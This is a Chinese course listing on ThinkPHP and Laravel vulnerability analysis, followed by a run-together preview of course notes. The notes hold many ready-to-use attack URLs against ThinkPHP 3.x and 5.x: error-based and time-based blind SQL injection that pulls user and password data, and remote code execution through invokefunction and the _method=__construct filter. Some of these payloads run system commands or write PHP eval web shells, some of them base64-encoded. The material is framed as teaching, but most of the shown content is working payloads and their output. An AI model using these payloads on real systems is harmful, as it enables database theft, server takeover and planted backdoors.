资源介绍
主要讲解php框架的漏洞分析技术课程内容主要讲解thinkphp和Laravel
这两款市面上主流的PHP框架的漏洞分析.熟悉PHP框架内核的运行机制,
理解PHP框架漏洞产生的过程.本章深入讲解了TP和Laravel的漏洞机制,
让你快速入门框架的漏洞分析!
预览截图
thinkphp 漏洞分析 信息泄露 开启调试追踪 'SHOW_PAGE_TRACE'=>true, 1 日志信息泄露 http://www.tp3.com/Application/Runtime/Logs/Home/19_05_24.log ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,如果debug模式不关,可直接输入路径造成目录遍历。 ThinkPHP3.2结构:ApplicationRuntimeLogsHome17_07_22.log ThinkPHP3.1结构:RuntimeLogsHome17_07_22.log 可以看到是 :项目名RuntimeLogsHome年份_月份_日期.log 这样的话日志很容易被猜解到,而且日志里面有执行SQL语句的记录。 2 缓存信息泄露 F方法 S方法 thinkdata 确定网站框架 cms 指纹识别 || 黑盒测试 框架指纹识别 /?c=4e5e5d7364f443e28fbf0d3ae744a59a /ThinkPHP/logo.png 2 数据库内核分析 $data = array(); $data['username'] = $_POST['username']; $data['password'] = $_POST['password']; $data = M('users')->where($data)->find(); dump($data); 报错注入 1=(updatexml(1,concat(0x3a,(user())),1))%23 SELECT * FROM `users` WHERE `username` = 'admin' LIMIT 1 admin' 'admin'' http://www.tp3.com/index.php/home/index/index?username[0]=exp&username[1]==%27admin%27 parseWhereItem `username` ='admin'' SELECT * FROM `users` WHERE `username` ='admin'' LIMIT 1 http://www.tp3.com/index.php/home/index/index?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23 'exp' == $exp $exp = 'exp ' 'exp' = 'exp ' 3 update注入 http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111 and 1=(updatexml(1,concat(0x3a,(user())),1))%23 UPDATE `users` SET `password`='123456' WHERE `username` = :99 UPDATE `users` SET `password`='123456' WHERE `username` = '123456' [ RunTime:0.0010s ] UPDATE `users` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))# exp http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456 漏洞分析 $result = $this->db->update($data,$options); $sql = 'UPDATE ' . $table . $this->parseSet($data); $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); `username` = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))# UPDATE `users` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))# $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind)); if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; 4 find(),select(),delete() 注入 exp: id[table]=users where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- http://www.tp3.com/index.php/home/index/index?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1 分析一下 //处理 漏洞修复的话 $options = $this->_parseOptions($options); SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1 5 order by 注入 order[updatexml(1,concat(0x3a,user()),1)] http://www.tp3.com/index.php/home/index/index?username=admin&order[updatexml(1,concat(0x3a,user()),1)] $username = I("username"); $order = I("order"); $data = M("users")->where(array("username"=>$username))->order($order)->find(); dump($data); SELECT * FROM `users` WHERE `username` = '' LIMIT 1 [ RunTime:0.0000s ] SELECT * FROM `users` WHERE `username` = 'admin' ORDER BY 1 LIMIT 1 [ RunTime:0.0000s ] SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY 1 [ RunTime:0.0010s ] SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1) 1 SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1) exp http://www.tp3.com/index.php/home/index/index?username=aaa&order[updatexml(1,concat(0x3a,user()),1)] protected function parseOrder($order) SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1) 6 逻辑越权讲解 //自动完成是ThinkPHP提供用来完成数据自动处理和过滤的方法,使用create方法创建数据对象的时候会自动完成数据处理。 $User = D("User"); // 实例化User对象 if (!$User->create()){ // 创建数据对象 // 如果创建失败 表示验证没有通过 输出错误提示信息 exit($User->getError()); } else{ // 验证通过 写入新增数据 $User->add(); } INSERT INTO `users` (`username`,`password`,`level`) VALUES ('111','bcbe3365e6ac95ea2c0343a2395834dd','2') [ RunTime:0.0020s ] username=111&password=222&level=1 7 tp5数据库内核分析 PDO预编译执行过程分三步: prepare($SQL) 编译SQL语句 bindValue($param, $value) 将value绑定到param的位置上 execute() 执行 屏蔽 sql注入 SELECT * FROM `users` WHERE `id` = :where_id LIMIT 1 $sql = $this->builder->select($options); $result = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']); parseWhereItem `id` = :where_id id=3 SELECT * FROM `users` WHERE `id` = :where_id LIMIT 1 filterValue ----------------------- 8 tp5 sql注入分析 $id = input('id/a'); $result = db("users")->where('id', 'in', $id)->select(); dump($result); exp id[0,updatexml(0,concat(0xa,user()),0)]=1 http://www.tp5.com/index.php/index/index/index?id[0,updatexml(0,concat(0xa,database()),0)]=1 http://www.tp5.com/index.php/index/index/index?id[0,updatexml(0,concat(0xa,user()),0)]=1 [ SQL ] SELECT * FROM `users` WHERE `id` IN (1,3) [ RunTime:0.001001s ] 0,updatexml(0,concat(0xa,user()),0) PDO $sql = $this->builder->select($options); parseWhereItem 0,updatexml(concat(0xa,user()),0) in(where_id_in_0,updatexml(0,concat(0xa,database()),0)) SELECT * FROM `users` WHERE `id` IN (:where_id_in_0,updatexml(0,concat(0xa,database()),0)) 9 update/insert 注入 $level = input("level/a"); $data = db("users")->where("id","1")->update(["level"=>$level]); dump($data); level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1 报错 http://www.tp5.com/index.php/index/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,version(),0x7e),1)&level[2]=1 UPDATE `users` SET `level`=`level`+2 WHERE `id` = 1 [ RunTime:0.001000s ] $data = db("users")->where("id","1")->update(["level"=>$level]); http://www.tp5.com/index.php/index/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=2 $sql = $this->builder->update($data, $options); UPDATE `users` SET `level`=updatexml(1,concat(0x7,version(),0x7e),1)+2 WHERE `id` = :where_id UPDATE `users` SET `level`=updatexml(1,concat(0x7,version(),0x7e),1)+2 WHERE `id` = :where_id 10 聚合查询漏洞 $count = input('get.count'); $res = db('users')->count($count); var_dump($res); exp id),(select sleep(5)),(username id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username SELECT COUNT(11) AS tp_count FROM `users` LIMIT 1 SELECT COUNT(id) AS tp_count FROM `users` LIMIT 1 [ RunTime:0.001000s ] id),(select sleep(5)),(username 测试代码: SELECT COUNT(id),(select sleep(5)),(username) AS tp_count FROM `users` LIMIT 1 $sql = $this->builder->select($options); SELECT COUNT(id),(select sleep(5)),(username) AS tp_count FROM `users` LIMIT 1 id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username id), (if(ascii(substr((select password from users where id=1), 1, 1))>130, 0, sleep(3))), (username SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),'1',1))>130,0,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1 SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),`1`,1))>130,`0`,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1 id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username Unknown column '1' in 'field list' id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1 11 RCE 漏洞分析 影响范围 5.x < 5.1.31 5.x < 5.0.23 ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami exp: http://www.tp5.com/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami http://www.tp5.com/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://www.tp5.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1211.php&vars[1][]=<?php @eval($_POST[x]);?> http://www.tp5.com/index.php?s=captcha _method=__construct&filter[]=system&method=get&get[]=ipconfig _method=__construct&filter[]=system&method=get&get[]=type index.php http://www.tp5.com/index.php index.php?s=index/namespaceclass/method _method=__construct&filter[]=assert&filter[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyd4J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1 http://www.tp5.com/index.php _method=__construct&filter[]=assert&method=get&get[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1 _method=construct&filter[]=assert&filter[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1 PD9waHAgJHBhc3M9JF9QT1NUWyd4J107ZXZhbCgkcGFzcyk7Pz4= phpinfo $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); &function=call_user_func_array&vars[0]=system&vars[1][]=whoami public static function invokeFunction($function, $vars = []) { $reflect = new ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); } call_user_func_array args vars[0]=system&vars[1][]=whoami 框架执行流程: 首先发起请求->开始路由检测->(获取pathinfo信息)->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束 //rce漏洞 PHP daimashenji